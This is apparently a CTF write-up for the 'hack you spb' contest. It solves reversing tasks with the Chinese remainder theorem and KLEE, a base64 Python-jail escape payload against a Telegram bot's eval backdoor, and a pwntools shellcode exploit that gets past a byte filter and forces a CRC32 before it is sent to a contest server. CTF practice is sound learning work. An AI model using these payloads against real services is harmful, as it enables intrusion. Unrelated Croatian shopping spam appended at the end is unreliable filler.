This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.
Reverse 100:
#include <stdio.h> #include <string.h> int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l != 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0; }
First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.
Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this
# Source Generated with Decompyle++ # File: rev200_bot_7b541a1.pyc (Python 2.7) import config import traceback import re from base64 import * from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide sec_state = { } def process_message(bot, u): Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token) bot.update_bot_info().wait() print bot.username last_update_id = 0 while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue
So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;
#coding: utf-8 sec_state = { } user = "A" sec_state[user] = { 'mode': 15, 'stage': 7 } # bruteforce number sec_state[user]['mode'] = 15 r = [] while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: break print sec_state[user]['mode']
Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`
Reverse 300:
Let's get some fun.
let reverse this (or not?), look at handler (the main function)
ssize_t __cdecl handler(int fd) { ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if ( !(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result; }
So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:
1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools
, you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;
from pwn import * import socket, struct, telnetlib def getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return data def crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffff d = "" d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0)) d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1)) # i need dup2 because the program use itself as server d += asm(pwnlib.shellcraft.i386.linux.sh()) fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68') print len(fsc) fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again. print hex(crc32(fsc)) #yes, i love my custom socket lib 🙁 s = socket.create_connection(("78.46.101.237", 3177)) s.send(p32(len(fsc))) s.send(fsc) s.send("\n") s.send("cat flag*\n") print s.recv(1024)
To be continued....
in [Reverse 100] problem, other simple way is to use Klee to solve
#include
#include
#include
#define ITERS 12
int main() {
char buf[ITERS];
klee_make_symbolic(buf, ITERS, "012345");
unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
return 2;
if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
return 3;
if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
return 4;
if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
return 5;
// printf("Congratulations %s is flag\n",buf);
klee_assert(0);
return 0;
}
nice, I'll try KLEE next time 😀
Internetska trgovina journayshopping.news je elegantna muška i ženska odjeća vodećih modnih dizajnera u Rusiji i Francuskoj s dostavom u cijeloj zemlji. Imamo osnovne i originalne modele za svaki dan i za posebne prilike, za poslovne sastanke i aktivnosti na otvorenom. U trgovini journayshopping.news možete kupiti artikle za svako godišnje doba. Svijetle boje, neobični otisci, originalni kroj, različiti stilovi omogućit će vam da izgledate spektakularno, privučete pozornost, stvorite vlastiti stil. Visoka kvaliteta po pristupačnoj cijeni - počastite se proizvodima popularnih brendova. foto studiju cena mobilni telefon pribor cena
Britanske, američke, korejske i kineske internet trgovine s međunarodnom dostavom, gdje možete kupiti stvari bez posrednika journayshopping.news Veliki asortiman i tradicionalno najniže cijene. Visoka kvaliteta po pristupačnoj cijeni - počastite se proizvodima popularnih brendova. nakit postavlja and viЕЎe cena kupi haljine